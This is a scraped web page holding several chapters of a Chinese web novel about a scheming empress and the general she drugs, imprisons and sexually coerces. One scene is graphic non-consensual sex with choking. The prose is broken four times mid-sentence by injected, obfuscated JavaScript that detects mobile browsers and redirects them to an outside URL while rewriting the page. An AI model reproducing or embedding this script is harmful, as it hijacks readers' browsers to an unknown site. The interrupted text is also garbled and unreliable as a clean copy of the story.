柳芳歌在一个时辰前知晓了这封密报上的内容,顺带也知晓了宋闻薰的手段。此刻震惊之色已褪,望着宋闻薰的目光复杂,隐隐透着兴奋与不安。她下意识抚了抚手腕上的金镯子,触手生凉的金属质感让她冷静下来,她缓缓开口,声如莺啼:“胆敢叛主之人,断断是不能留的。” 慕行止不看宋闻薰,容色淡淡,道:“臣说过,臣如今已大仇得报,此生不愿再卷进风波里。” 密报上白纸黑字,写的是多年前跟随她的暗卫叛逃,原本也不过是一件小事,可,此人参与过德妃案。 宋闻薰的目光垂下来,在慕行止身上定住,好一会儿后,她笑了,慢条斯理地道:“可此事牵连甚广,若传到老元帅耳朵里,也就相当于传到了付家兄妹耳朵里。你与朕一向走的近,你说,到时候,付清蓉会不会怀疑,你也参与其中了呢?” 她语气轻柔含笑,口吻里还有几分怜悯,看着慕行止的眼睛里却一丝笑意也无,冷如霜雪。 “你在威胁我。”慕行止没有用问句,他坐在轮椅上仰头看她,却分毫不让,不怒反笑,“陛下,别忘了你的来处。” 宋闻薰不说话,手指一下一下敲着桌子,冠冕上的流苏随着她低头的动作微微摆动,挡住了她冷厉的眼睛,只剩下她紧抿的唇。 他们一上一下对视,谁也不开口。 这是她登基以来,第一个当面对她出言不逊的人。 这样的口吻放在慕行止身上很正常,他们曾经也无数次这样博弈过,可这一次,宋闻薰的脸色沉了下来。 柳芳歌适时打破了一室的寂静,她柔柔地开了口:“陛下,以臣之见,他既然叛逃,定会第一个去废太子处,眼下,唯有废太子可以将此事宣扬出去。我们要做的除了杀他,还要截断他去往废太子的路线。” 宋闻薰把目光从慕行止身上缓缓移开,落在柳芳歌身上:“继续。” 今年夏天注定多事。 前线,付清衣正在刷马,他的手刚摸到马鬃,便听见身后传来一阵嘈杂,众将士们皆惊愕地停下了手中的动作,就见一个灰头土脸的使者抓着一块符牌跌跌撞撞冲过来,“扑通”一声跪在他面前,还没等付清衣反应,使者已经嘶声喊了起来:“将军!信王反了!圣上在京城遭人围困,危在旦夕!!” 付清衣手里的桶“砰”一声落了地,他顿了几秒,一把抓起一旁的红缨枪翻身上马,马鞍还未装上,他却已经顾不得了,只是一刹那,他额头上已经冒出一层细细的冷汗。 “几天前的事情?陛下现在何处?!禁卫军呢?”他双目赤红,一把拎起精疲力竭软倒在地的使者,每一个字都像是从牙关里拧出来似的,字字用力。 使者被他逼视,话都说不利索了:“四、四天前……陛下在京郊,身侧有禁卫军……” 他话未说完,揪着他衣领的手已经松开,抓起一旁的鼓槌狠狠砸向战鼓,战鼓不堪重负地震颤,发出一声剧烈的怒吼,那双层的牛皮鼓面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拧着眉毛,心下隐隐含忧,下马后简单地吩咐了众将士不得卸甲,找干燥处修整后,冒雨径直来到宫门前,侍卫们见了他,不敢阻拦,即刻派人去通报。 沉重的宫门缓缓打开,他刚抬脚,就被两侧的侍卫拦住,侍卫为难地说:“将军,您未卸甲,身佩武器……” 付清衣沉声道:“禀报陛下,未亲眼见到陛下安好,微臣不敢卸甲。” 侍卫不敢耽搁,立即去了,过了一阵,宫殿的大门缓缓洞开,一抹明黄色的身影站在白玉石阶之上,十二色垂冕挡住她的半张脸,只露出平直的唇角。身侧的宫女为她撑开伞,身后的宫女则提起她龙袍的后摆,她从石阶上一步步走下,不紧不慢,步履从容。 他们隔着十米的距离遥遥对视了一瞬,宋闻薰先移开眼去。 付清衣松了口气,将佩剑递给侍卫,卸下甲胄,跪下:“微臣参见陛下。” “平身。”宋闻薰面色冷淡,言简意赅,“叛乱已定,付将军且去偏殿换一身常服,朕有要事与你淡。” “是。” 偏殿里早已经备下干燥的衣服与热气腾腾的茶,茶是上好的大红袍,解乏消困,连水桶里的热水也已经盛好供他沐浴,水温刚刚好,付清衣愣了一下:“陛下吩咐的?” “陛下知晓您冒雨入城,心疼坏了,早吩咐奴才备好了东西。”李富满面笑意,“将军莫怪方才陛下脸色不好,实在是陛下这两日处理叛乱,很是心烦,闻听将军自前线折返,更是大骇,多日未曾安眠了。” 付清衣捧着茶喝了一口,听到这句话,转过脸盯着李富:“什么意思?” 他凝眉这样看人时,一身沙场上磨砺出来的锐气仿佛尖刀,半点不收敛。李富额上渗出冷汗,面上还是笑呵呵的:“您一会儿见了陛下就明白了。” 付清衣心头一跳,匆匆沐浴更衣完,一刻不停地去见宋闻薰。 殿门开了,宋闻薰端坐在椅子上,桌上奏折如山,将她的脸挡得只剩了下了额头。她听见响动,缓缓站起身来,殿内的侍女太监早已经被屏退,付清衣不欲再做那些虚礼,他单刀直入地问:“阿薰,李富的话是什么意思?” 宋闻薰自登基后,很少露出这样难看的脸色,她道:“有人假冒了我的令牌,遣你回京。两日前我方知此事。” 寥寥数语,形势已明,付清衣当即变了脸色:“废太子的人?” “还未查明,不过八九不离十。”宋闻薰揉了揉眉心,道,“我知晓此事后,第一时间传了谕旨令张贵年撤军,没有用飞鸽,用的是训练好了的海东青。” 付清衣沉沉吐出一口气,转身就要出门:“我回去支援。” “等等!”宋闻薰喊住他,语气急促,“你如今去哪里还赶得上?何况连日衔枚奔波将士们也已经到了极限,我已经吩咐了与渭城相隔不远的左路军去接应,你就呆在这儿,伺机而动。” 她一口气说了一长串,不自然地停了停,缓和了语气劝道:“我们不知道废太子此举的目的,贸然前去只怕损兵折将。” 付清衣停下脚步,耐心地解释:“让将士们在京中修整,我一人前去。这件事因我的失误而起,我得过去,我到了军中才知道具体的军情,届时是进攻还是撤退,心里就有数了。渭城北据昌山,南临百越,丢了渭城,往后要想抵抗叛军,需花两倍的兵力。更何况,我对渭城的百姓有承诺。” 在付清衣看不见的地方,宋闻薰脸色沉了下来,不能让他去,绝对不能。 “清衣。”宋闻薰道,“你不许去。” 她语气发生了微妙的变化,这一次不是劝告,而是命令。 这句话一出口,大殿里陷入了一瞬的寂静,难言的疏离在他们之间蔓延。 宋闻薰话一出口,自知用力过猛,她抿了抿唇,走到付清衣身后,毫无征兆地抱紧了他的腰。 付清衣刚沐浴过,身上带着一股极淡的皂角香,他身子僵了僵,没有推开她也没有回头,只是沉默。 空旷的殿内,烛火摇曳不定,他们的影子映在墙上,明明暗暗。 “我只有你了。”宋闻薰阴沉的脸色淡去,片刻间仿佛变了一个人,她哀戚地说,“母妃死了,父皇死了,兄弟姐妹更是手足相残,永无宁日……若是你也遇到了不测,我就真的只是一个人了。” 付清衣僵硬的背渐渐放松下来,他的手指安抚般握上宋闻薰环着他腰的指尖,轻轻摩挲着。 她的手臂环得愈发紧,像一根藤蔓几乎要将他牢牢地困住:“前线必有埋伏,只是不知深浅。张贵年谨慎,接到旨意后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450115|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及时退兵,不会出什么事的。我不能让你去冒险。” 付清衣轻轻吐出一口气,低声道:“此事因我而起,我不能坐视不管……” “你是接到了伪造的符牌才会连夜赶回京城,若要论责,也是我的责任,竟让人轻易模仿了符牌。”宋闻薰说着,将头埋入他的肩窝,泪水涌出,落在他薄薄的衣上,浸湿了他的肩膀。她声音颤抖地道,“我大费周折地登上这个位置,每日如履薄冰,就是为了能保住自己在乎的人。你若是遇到不测,我要这九五之尊的位置有何用?” 她哭起来也是无声的,语气与平日里无二,只是不住地往下落泪。她一向是个很要强的人,从未在他面前这样哭过。 刚刚经历过叛乱,前线还在作战,朝中虎狼环伺,随时准备从她身上咬下一块肉来。高处不胜寒,大抵如此。 付清衣想到这里,无声叹了口气,他终于转身,抬起的手在空中顿了顿,温柔地揩掉她的眼泪。 “阿薰。”他轻声道,“在其位,谋其职。我有我必须去做的事情。你放心,若是形势不利,我绝不逞强。” 宋闻薰将他抱得更紧,她仰头与他对视,泪水顺着白皙的脸颊流下:“陪我一晚上,就一晚上,明日你启程。好不好?” 付清衣沉默了一会儿,在那双眼睛的注视下败下阵来:“……好。” 是夜,寝殿里月光如水,层叠软帐后,宋闻薰与付清衣同枕而眠。宋闻薰一反常态,没有折腾他,她安静地躺在他身侧,青丝如瀑,与他的发交缠,那双幽静的眼睛盯着他熟睡的侧脸,面上没什么表情。付清衣睡得很不安稳,眉头紧锁,似有重重心事。 茶水里有安眠的药物,是特地吩咐慕行止配的,可以保证付清衣一个时辰的清醒,一个时辰后,他会浑身疲倦,昏迷过去,睡到日上三竿才起床。 宋闻薰没有睡意,她躺在付清衣身侧,垂眼端详着他,淡淡的月光洒下,付清衣的脸色因为连夜赶路,显得倦怠而苍白。 她安静地看着他,除此之外没有任何动作。 原来有一天,在他面前,她也撕不下那张假面了。假面已经融进了她的骨血,成为了她的一部分。 付清衣似乎感觉到了她的注视,他不安地翻了个身,下意识往她身边靠去,像是在寻求安慰,他的手缓缓贴在她的肩膀上,那是完全信赖的姿势。 宋闻薰的神色蓦然柔软下来,她轻轻舒了一口气,在身侧人均匀的呼吸里放松了紧绷的身体,慢慢闭上了眼睛。 22. 长安客(9) 付清衣醒来的时候,窗外的第一缕阳光落在床前,空气里漂浮着细小的尘埃,床帘被轻风吹动,寝殿里的香炉冒着淡淡的安神香,摆放在屋子里的兰花微微绽放。 身边的位置已经空了。 他的手指按在太阳穴上,微微的眩晕感笼罩了他,他睡得太沉、太久了,站起来的时候眼前一花,明明是十分安宁的环境,但付清衣却没来由地心漏跳了一拍。 殿内有报时的钟,已经午时了。他十几年来都卯时起身练武,从未有过间断,怎么这一次会睡这样久? 付清衣急匆匆披衣而起,像往常一样从寝殿的后门跃出,挑了个偏僻的角落潜出宫,他每次进宫都是溜出去的,仿佛来偷情的狂徒,宋闻薰曾经哭笑不得地让他不用这样谨慎,但他总不放心。 宋闻薰以女子之身即位,朝中本就颇有微词,他不能连累了她的声誉。 可他刚出门不久就停住了脚步,那是两个小宫女在窃窃私语,声音压得很低: “真的?陛下发了好大的火?” “这几天干活小心点,别触了陛下的霉头。陛下发火也正常,这么大的洪水,得死多少人啊,听说连叛军都死伤惨重……” “好吓人。你说这好端端的怎么突然就决堤了?渭水已经许久没有决堤过了……” “嘘,闭嘴干活去吧,说多了小心被砍头!” 对话戛然而止,两个小宫女匆匆忙忙跑出去干活了,付清衣眉心一跳,他开始向前狂奔,翻墙,腾跃,快如闪电,一眨眼的功夫,他已经出了宫。 朝堂上群情激奋,宋闻薰坐在中央,冷淡地看着下面那些各怀鬼胎的臣子。 柳尚书跪在地上,短短几天功夫,他憔悴了不少,头发一片花白。柳家是世家大族里根基最薄弱的,如今幼子新丧,渭堤决堤,管河堤的恰好是柳氏旁系子弟,可谓是屋漏偏逢连夜雨。 他眼含热泪道:“陛下!微臣未能约束好族中子弟,自知罪该万死,无颜面圣。可此事发生得突然,尚未查清,还请陛下缓两日,待叛乱平定再……” 半跪在地上的柳芳歌适时打断了他,她仰面悲怆道:“柳家子弟失职,臣女与父亲绝不会姑息!臣女虽长在闺中,却也知晓洪水泛滥是生灵涂炭的大事,柳家不仅愧对陛下,更愧对天下人。请陛下严惩不贷!柳家绝无怨言!” 她的声音轻柔,却如碎玉,掷地有声。柳尚书不敢置信地转头盯着这个一向柔顺的女儿,嘴唇发青:“芳歌!” 柳芳歌不闪不避地回视他,那双秋水眸中,是难以掩饰的恨意,像一把雪亮的长刀,柳尚书被这样的目光割到,怔住了。 始终在一边袖手旁观的太傅王之敏开了口,他是王家家主,而王家是世家中最鼎盛的一族,他淡淡道:“洪水泛滥乃是天怒,生民涂炭乃是人怨。天怒,乃叛军冒领天意、伪造圣旨所致,人怨,乃废太子残害百姓、分裂江山所致。天怒人怨,自有灾祸降世。否则好端端的堤坝如何会决堤?看管河堤者再怎么缜密,也是肉体凡胎,如何能与天罚抗衡?柳尚书不必太过自责,错不在柳家。也请陛下宽恕柳家,严惩反贼,就是给天下一个公道了。” 宋闻薰面色冷凝,她扫过跪着的柳尚书与柳芳歌,没有说话。 姜丞相与王之敏对视一眼,也道:“微臣以为王太傅说的有理,眼下当务之急是清剿叛军,叛军一除,天下自然太平无恙,至于柳家,念在世代功劳,陛下不妨从轻发落。” 他见宋闻薰面色仍然没有缓和,又补道:“臣记得陛下年幼之时,一贯心慈,德太妃更是一直与臣夸赞您是个仁德宽厚的孩子,如今陛下登基,更是宽厚待下,处事公允。臣恳请陛下宽恕柳家,以弘仁政。” 宋闻薰听了这句话,不动声色地转过脸,盯着他,和气地问:“丞相是在以长辈之名,教诲朕吗?” “微臣不敢。”姜丞相不慌不忙地说,“只是微臣一路看着陛下长大,清楚陛下本性宽厚,有圣君之风,柳家世代忠良,陛下切勿因一时之过迁怒于柳家。” 他们遥相对峙,姜丞相寸步不让。 恰在此时,有使者飞奔而来,带来前线急报,称在渭水驻扎的张贵年将军收到圣旨就第一时间撤离,还带走了一大批百姓,因此受洪灾影响较小。反倒是驻扎在下游的叛军避之不及,死伤惨重,主力全灭。 朝堂上紧张的气氛为之一松,宋闻薰面色缓和下来,听到后面,甚至勾起一丝笑意,凝滞的空气重新流动。 姜丞相立刻反应过来,立刻跪下道:”恭喜陛下!不费一兵一卒而大获全胜,此乃上天庇佑!” 王太傅也跟着跪下:“恭喜陛下!贺喜陛下!” 姜丞相与王太傅接连作保,而洪灾重创叛贼,未伤己军。事情进行到这一步,已是尘埃落定。柳尚书长出一口气,挺直了佝偻的腰背,露出胜券在握的笑意,剜了一旁的柳芳歌一眼,准备擦拭掉衣上的灰尘站起来。 忽有一人一身烈烈红衣,闯进肃穆的朝堂,像一团灼灼烈焰,带着无人可挡的锋锐和滔天的怒火,劈开满堂昏暗。 “上天庇佑?洪灾一起,数城覆灭,无数百姓流离失所死于非命,这在你们眼里是上天庇佑?!”青年将军目如寒光,他的声音凌冽又张扬,毫不留情地与那些权高位重的老臣正面相撞,“若不是张贵年谨慎,玄煞营五万精锐就会尽数折损在洪水中,你们一个个尸位素餐,遇事只会推诿扯皮,可前线的将士却是真正的生死一线!谁来为他们的命担责?” 他的愤怒有如实质,那些与他把酒言欢的百姓,热情招待他的渭城太守夫妻,立誓以后要来参军的青年、给将士们送荷包的少女……如果没有张贵年迅速的反应,这场大水就将吞噬他们鲜活的生命,冲散他们的皮肉,那片曾经肥沃富饶、鸡犬相闻的土地上,只剩下一具一具的累累白骨。 他曾许诺过他们,让他们安安生生地在渭城过日子,不必受战乱之苦。可他们还没能等到天下太平,却先等来了滔天洪灾。 付清衣的声音响起的一瞬,宋闻薰垂下了眼睛。 付清衣大约是气极了,他连最基本的礼数都不管不顾了,指着柳尚书的鼻子大骂道:“柳家算个屁的世代忠良?你们是什么东西也配称一句忠良?这些年柳家结党营私、目无法纪,天子脚下尚且如此,何况那些散在地方的旁支?” 他言语犀利如刀,朝堂上人人色变,柳尚书脸色青一阵白一阵,他张着嘴半天没能说出一句有效的话。还是站在一旁的王之敏喝道:“付将军休得胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450116|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言!这里是朝堂,不是你的军营!” 付清衣冷冷地瞥了他一眼:“好,那我就事论事。渭水年年夏日都涨,为何不加固河堤、修建水利?柳家人守在那里是吃干饭的吗?为什么发现决堤第一时间是逃跑,而不是治水?甚至没有组织下游的百姓避难?” 这一连串问题语速极快,偏偏他口齿清晰掷地有声,打了所有人一个措手不及。 柳尚书哑口无言。 高堂上,年轻的女帝露出一个极淡的笑来,她的声音一贯不大,轻飘飘的一句话,此刻却重逾千斤:“是啊,柳卿,为什么呢?” 局势在顷刻间天翻地覆,柳尚书下意识去看王之敏,然而对方恰在此时扭头,错开了他求助的视线。 他心里陡然一沉。 柳家要成为弃子了。 宋闻薰回到寝殿歇息时,夕阳已西沉,寒鸦掠过京城的夜空,她卷起袖子,亲手点燃殿中的烛火,烛光爆起的刹那,她与一双眼睛对视。 付清衣在这里等了她很久了,他眉心紧皱,见了她来便立马站起身。 宋闻薰面上已有倦色,她坐在床榻上,绷紧的肩胛松下来,开口时声音有些沙哑:“你是我唯一想见的人了,其他人都时时刻刻盯着我,恨不能从我身上叼下一块肉来。” 付清衣抵在舌尖上的话未曾出口就转了个弯,他为她倒了一杯水:“润润嗓子。” 宋闻薰顺从地接过水杯一饮而尽,随即她伸手环住了付清衣,紧紧贴着他温热柔滑的身体,缓慢地吮吸他的耳垂、脸颊、脖颈,像是在急切地发泄着什么,付清衣不适地动了动,却不忍心推开她,他眉心仍然紧皱着,张嘴想要说话,却被一根手指挡住了,那根手指轻轻落在他的唇上,耳畔是她近乎恳求的声音:“今夜我们不做君臣,好不好?” 付清衣平滑的衣服被她的手蹭出褶子,她的眸子一眨不眨地盯着他,恍惚间让他有一种被毒蛇盯上的感觉。 她的手指灵巧地解开他里衣的带子,落在他的心口上,然后一路向下。 付清衣垂下眼去:“我不想这样。” 这是他头一次拒绝她暧昧的邀请,以十分坚绝的语气。 宋闻薰愣了愣,手停下了,她也只是片刻错愕,很快就恢复了表情,宽容地笑了笑:“那算了。” 她一反常态地没有继续下去,而是在他的额心轻轻吻了吻,像某种妥协和安抚。做完这些,她贴着他躺下去,闭上了眼睛。 付清衣安静地看着她。 窗外的雨声淅淅沥沥,模糊地传进来。灯火如豆,一室昏黄,唯有付清衣的眼睛依旧清醒明亮。 不知过了多久,宋闻薰合着眼,疲倦地道:“想问什么就问吧。” 付清衣握着被子的手指骤然收紧了。 他沉默了许久,最后轻轻地说:“没什么,睡吧。” 宋闻薰没有再开口,她依偎过来,环抱住他的腰,将头埋在他搏动的心跳中。 她的发梢垂下来,与他的手指纠葛在一起,像流淌的丝网,束住他心头的疑窦。 很多年后,长居深宫的付清衣依旧会想起这一晚,想起这一晚黏湿不绝的雨,和那句他没问出来的话。 “你是不是有事情瞒着我?” 23. 无故人(3) 付清衣醒来时,窗外雨还在落,沙沙声一片。 他恍惚了一瞬,抚摸上自己的经脉,发现自己筋骨被废时才清醒过来,他像是做了一个很长的梦,到此刻才如冷水当头泼下,彻底清醒过来。 他已经不是付将军了,他是付贵君,被皇帝软禁在后宫中的一只鸟,折了翅膀,再也飞不起来。 他刚起身,就有小太监规规矩矩地走进来,朝他行礼:“付贵君,陛下吩咐,您要什么都可以说,也可以去御花园逛逛,只是需要人陪同。” 付清衣安静了一会儿,冷淡地笑了笑:“我要她不要再出现在我面前了。” 小太监被吓得脸都白了,求生欲让他哆哆嗦嗦地再问了一遍:“贵贵贵君确定吗?” 付清衣的目光扫过他煞白的脸色,按照宋闻薰的脾气,难保她不会迁怒于传话的太监,他沉默许久,最后轻轻叹了口气:“方才是胡说罢了,你下去吧。” 小太监如释重负,一溜烟跑出去了。“踏踏踏”的脚步声渐渐远去,带走了最后一点生气。 偌大的宫殿愈发死寂,安静得只听得到外头的雨声。 付清衣跪坐在窗前,他白色的衣摆流泻在地,与地上柔软的白狐皮毯子融为一体,他半合了眼,如一尊漂亮又苍白的雕像。 过了一阵子,门被轻叩两声,再度打开,侍女端来热腾腾的饭菜,她们清一色垂颈敛目,迅速而规整地摆好东西,连抬头看他一眼都不敢。 付清衣没有回头,他盯着窗棂上蜿蜒而下的雨水,一动不动。 大雨模糊了天色,让人辨不清时间。侍女们再次打开门时,讶异地发现白天的饭菜一口未动。 而那位新封的贵君依旧坐在原来的位置,漠然地注视着窗外。他清瘦的背影被室内昏暗的灯光投射在屏风上,缥缈得如同一笔稀释的水墨。 这样的情况没有持续多久,当天半夜,皇帝亲自叩响了这座宫殿的门。 宋闻薰走进去时,付清衣依旧毫无反应,他是最了解她的声音、步伐乃至气息的,但他没有回头,背光跪坐着,一言不发。 他没有反应,宋闻薰也没有说话,她给门边的香炉添了香,然后坐在了桌角边,那是一个离付清衣不远不近的距离。她端坐着,手中捧着一盏冷透了的茶水,看着他的背影,目光难辨。 这是一场无声的拉锯,又或者说,这只是付清衣最后能做的负隅顽抗。 窗棂上的雨水渐渐淡了,宋闻薰先开了口,她低低地说:“你不必用这种办法和我置气。” 付清衣没有回答。 她如今贵为天子,身侧的威胁也已铲平,已经许久没有尝到过这样的冷遇,宋闻薰面色难看,搁下了茶盏,道:“清衣。” 这一声出口,却没了下文。她该说什么呢?剥夺兵权、册封为妃的旨意是她下的。囚禁于深宫,终身不得出也是她的意思。 一贯高高在上的帝王沉默片刻,轻轻叹了口气,她从椅子上站起来,在他身侧弯下腰,半跪下来,明黄色龙袍逶迤在地,纤长的手伸出,停在离他手掌差一寸的位置上。 “先起来好不好?” 付清衣没有回应。 宋闻薰眼中有暗色一闪而过,她保持着刚刚的姿势,没有收回手,这样僵持了半个时辰后,宋闻薰忽然将手放在了付清衣的肩上,这一刹那付清衣反应剧烈,几乎是下意识甩开了她,他膝行后退两步,抿紧了苍白的唇,一眼都没有看向她的方向。 宋闻薰的手在半空中垂落,她疲倦地道:“清衣。” “今日忽然想起了一些旧事,渭城那场洪灾,背后其实有你的手笔吧。”平直的语调,付清衣说了他今日的第一句话。 宋闻薰没有答话。 付清衣闭上了眼睛:“我那时候真是……自欺欺人。” 宋闻薰僵硬地道:“你那时候就有猜测。” “只是直觉,没有依据。”付清衣牵了牵嘴角,“陛下的伪装并没有那么高妙,只可惜付某是个蠢人,竟相信一条毒蛇不会咬人。” 他都知道。 宋闻薰意识到这一点。 他对她的信任消耗殆尽后,聪慧如他,有些事情其实一目了然。 宋闻薰缓缓道:“那你也应该记得,有一道假传的圣旨催你入京护驾。” 毒蛇只在乎一个人的生死。她所有十恶不赦的计划里,只有一个人安然无恙。 宋闻薰静静看着他,她的胸口细微地起伏着,停在半空中的手缓缓放下,攥成拳头,落在垂下的袖边。 “不管你信不信,我从来没想过害你。” 她咬着牙说出这句话,想去看清他的神色,却发现他依旧冷淡而一言不发。 空气寂静,有什么东西绷紧到极致,终于断裂了。 宋闻薰猛然伸出手,一把掐住他的脖子,她用了十分的力气,将他扼在手中,按在地上,付清衣抬手抓住她的手腕用力制住她的动作,一个冷森森的声音蛇一样滑过他的皮肤:“你可以拒绝朕,你的旧部还在边疆。” 付清衣的手颤抖着停下了,轻微的窒息让他不适地扭动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450117|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,狼狈地喘息咳嗽着,极力仰头躲她,眸子暗如窗外的雨,黑漆漆的,偶尔反射出一点晶莹的光。宋闻薰攀在他身上,紧紧贴着他,她灵活的舌头扫巡过他最敏感的耳垂和唇珠,她的手依旧扼着他的脖子,像是在扼着一只属于她的猎物。 她一只手拨弄着他,不遗余力地煽风点火,另一只手攥着他瘦削的颈,红艳的指尖掐入他柔软的后颈,动作狠厉得好像要把他揉碎,她软软地笑:“你是我的,清衣。” 付清衣忍耐地咬住自己的唇,血丝从他口角溢出,他蜷缩着用手推她,然而并不敢用力,何况他武功被废,一日水米未进,身子虚浮,竟难以摆脱她的桎梏。他浑身都是冷的,呼吸却热得惊人。她的牙齿一遍遍捻磨他的弱点,她的指尖粗暴而强硬地拓开他的柔软,宋闻薰痴迷地欣赏他颤栗的唇齿,弓起的腰腹,夹紧的双腿,蜷缩的脚趾。她那双眸子似两蓬亮在黑夜里的鬼火,透着扭曲的快意。 “……停下……”他眼角控制不住地落下生理泪水,高高扬起脆弱的脖颈,像濒死的天鹅,“啊……停下……” 宋闻薰顺他的意,在逼近顶峰的时候停下,软着嗓子诱哄他:“说你心悦我。” 付清衣睁着那双濡湿的眼睛,控制不住地一口咬在她的肩膀上,试图堵住自己破碎的哽咽和不成调的叫声。 他的身体早已经熟悉了她的狎弄,像被催熟的青果一样,汁水满溢。 宋闻薰柔软的声音如钝刀子割肉:“清衣,说你心悦我。” 付清衣的口中尝到一丝血腥味,他咬破了她的肩膀,他的身体僵硬了一瞬,宋闻薰却不以为意地笑了笑,掐着他喉咙的手松开,温柔地将他垂下的发梢别到脑后。 与此同时,她底下的手愈发用力。 付清衣整个人都被她捣弄成了一颗熟透的果子,连同那双冷淡而死寂的眼睛,都经不住漫上一层迷蒙的春色。 他摇着头,身子在她一次次故意停下后崩溃地颤动,她转过脸盯着他此刻绝望又欢愉的神情,眼角眉梢都是笑意。 “你还心悦我,对不对?” 付清衣压下破碎的喘息,红着眼睛与她含笑的眼眸对视,舌尖抵着牙齿,一字一字,如冰针凿开混乱的空气:“……我恨你。” 屋子里仿佛一阵寒风吹过,宋闻薰脸上毫无表情。 过了片刻,她重又向他缓缓绽开一个温柔的笑,道:“恨我也是好的。” 她垂头去亲吻他,勾着他在亲吻中奔赴情潮的顶峰。 “清衣,活下去,然后恨我吧。” 24. 君莫忘(1) 洪灾冲毁了渭城的土地,也冲毁了太子的半壁江山,处于下游的叛军主力遭受重创,付清蓉与付清衣将分散的玄煞十二营合二为一,这支最为精锐的军队如尖刀刺入了叛军心脏,一月后,骤雨初歇,天下太平。 坐镇后方的老元帅拒绝了封赏,主动将功劳让给了初露锋芒的付家兄妹,付清衣获封一品骠骑大将军,袭父爵,成为了本朝最年轻的定国公。付清蓉获封高阳郡主,宋闻薰得知她喜爱清净,特地命设计皇宫的匠人替她在京郊修了一间三开的大宅院,亲笔题字:青云乘风,扶摇直上。 付清蓉不太好意思地拒绝过,宋闻薰抚着她的头笑道:“你已经是大姑娘了,该有自己的府院。” 付清蓉瞧一眼干坐在一边她哥,悄声道:“陛下为了装饰院子,在这儿里泡了三日没搭理我哥……他醋坛子好像又翻了……” 宋闻薰笑吟吟地看了眼付清衣,他正懒洋洋地瘫在一边的椅子上,抓着一朵花揪了又揪,那朵原本开得正艳的芍药被他拈在手上,撕成了一块皱巴巴的抹布,察觉到她的视线,付清衣委屈地转过头来。 “你们讨论好了?” “嗯。”宋闻薰忍不住走过去,俯下身在他眼角亲了亲,“好了。” 一边的付清蓉没眼看,还不等那两位祖宗发话,就十分自觉地出去了,走之前还不忘把门带上。 论一个妹妹的自我修养。 房间里头安静下来,恰是午后,阳光照进来,空气里浮着亮亮的一层光点。宋闻薰捏着他的下巴亲上去,付清衣象征性地挣扎了两下,就不动了,他顺从地仰着头方便宋闻薰亲吻,眼角眉梢全是笑意。 宋闻薰一边解着他的腰带,一边端详他笑起来的眼睛,直到看得他不好意思起来,才低声道:“将军好漂亮。” 付清衣满脸通红地抬手抵住她再次落下的唇,哑着嗓子求饶:“好了好了,陛下,阿薰,我们别在这里……这里不行……” 宋闻薰的目光在婆娑花影里软下来,她的吻转了个向,克制地亲在他带有伤疤的指骨处:“都听你的。” 前几日柳家捅了大篓子,柳尚书乞骸骨归乡,除柳芳歌外,族中子弟几乎都革职流放,拔出萝卜带出泥,世家间都有烟亲,连累的其余几大世家也一时间元气大伤。付家成了炙手可热的新贵,其余的将门世家也蠢蠢欲动起来,族中的年轻子弟纷纷上折子,自请入边疆卫国。 宋闻薰一一应了,她大赞将门的精忠之志,封官的封官,赏钱的赏钱,用几个将门子弟补了柳家留下的萝卜坑,这一举动落在世家眼里,就是以付清衣为首的将门故意挤走柳家人,好让自己人补上。毫不意外的,将门与世家的关系愈发水深火热。 御花园中的凉亭上,宋闻薰刚刚在付清衣那里尽了兴,她一袭素衣,难得慵懒地躺在席中,低头批阅奏折。侍女兼暗卫素音站在一边为她打扇,凉风习习,她不知看到了什么,突然蹙了眉,身侧的柳芳歌锦衣华服,妆容严正,端庄地坐着,恭敬地低垂着头。 “太子已伏诛,你做得很好。”宋闻薰随意地抿了口松含翠,玩笑道,“只是你不担心柳家那些冤魂半夜来同你索命吗?” 柳芳歌面色不动,笑意嫣然,“陛下是一国之主,他们为陛下死,是死得其所,精忠报国,有何可冤?” 宋闻薰意外地挑了一下眉毛,瞥了她一眼:“你倒很看得开。” 柳芳歌眼波流转,笑道:“不光是柳家人,这天下人都是陛下的子民,他们为陛下做什么都是应该的。” 